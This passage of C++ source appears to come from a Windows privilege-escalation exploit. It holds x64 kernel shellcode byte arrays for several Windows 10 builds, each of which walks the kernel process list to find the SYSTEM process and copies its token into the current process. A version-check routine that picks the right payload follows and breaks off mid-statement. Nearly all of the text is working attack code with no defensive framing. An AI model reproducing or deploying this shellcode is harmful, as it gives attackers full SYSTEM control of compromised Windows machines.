#include "shellcode.h"
// Version 19041
unsigned char shellcode_Win10_2004[]=
"\x48\x31\xc0"
"\x65\x48\x8b\x80\x88\x01\x00\x00"
"\x48\x8b\x80\xb8\x00\x00\x00"
"\x49\x89\xc0"
"\x48\x8b\x80\x48\x04\x00\x00"
"\x48\x2d\x48\x04\x00\x00"
"\x48\x8b\x88\x40\x04\x00\x00"
"\x48\x83\xf9\x04"
"\x75\xe6"
"\x4c\x8b\x88\xb8\x04\x00\x00"
"\x4d\x89\x88\xb8\x04\x00\x00";
// Version 18362
unsigned char shellcode_Win10_1903_1909[]=
"\x48\x31\xc0"
"\x65\x48\x8b\x80\x88\x01\x00\x00"
"\x48\x8b\x80\xb8\x00\x00\x00"
"\x49\x89\xc0"
"\x48\x8b\x80\xf0\x02\x00\x00"
"\x48\x2d\xf0\x02\x00\x00"
"\x48\x8b\x88\xe8\x02\x00\x00"
"\x48\x83\xf9\x04"
"\x75\xe6"
"\x4c\x8b\x88\x60\x03\x00\x00"
"\x4d\x89\x88\x60\x03\x00\x00";
// Versions: 17763 | 17134 | 16299 | 15063
unsigned char shellcode_Win10_1703_1809[] =
"\x48\x31\xc0"
"\x65\x48\x8b\x80\x88\x01\x00\x00"
"\x48\x8b\x80\xb8\x00\x00\x00"
"\x49\x89\xc0"
"\x48\x8b\x80\xe8\x02\x00\x00"
"\x48\x2d\xe8\x02\x00\x00"
"\x48\x8b\x88\xe0\x02\x00\x00"
"\x48\x83\xf9\x04"
"\x75\xe6"
"\x4c\x8b\x88\x58\x03\x00\x00"
"\x4d\x89\x88\x58\x03\x00\x00";
// Version 14393
unsigned char shellcode_Win10_1507_1607[] =
"\x48\x31\xc0"
"\x65\x48\x8b\x80\x88\x01\x00\x00"
"\x48\x8b\x80\xb8\x00\x00\x00"
"\x49\x89\xc0"
"\x48\x8b\x80\xf0\x02\x00\x00"
"\x48\x2d\xf0\x02\x00\x00"
"\x48\x8b\x88\xe8\x02\x00\x00"
"\x48\x83\xf9\x04"
"\x75\xe6"
"\x4c\x8b\x88\xb8\x04\x00\x00"
"\x4d\x89\x88\xb8\x04\x00\x00";
int checkVersion()
{
std::cout << "[+] Checking Windows version..." << std::endl;
HMODULE moduleHandle{};
using RtlGetNtVersionNumbersType = void (*)(short*, short*, short*);
if (moduleHandle = LoadLibrary(L"ntdll.dll"))
{
short i = 0, j = 0, p = 0;
RtlGetNtVersionNumbersType RtlGetNtVersionNumbers = reinterpret_cast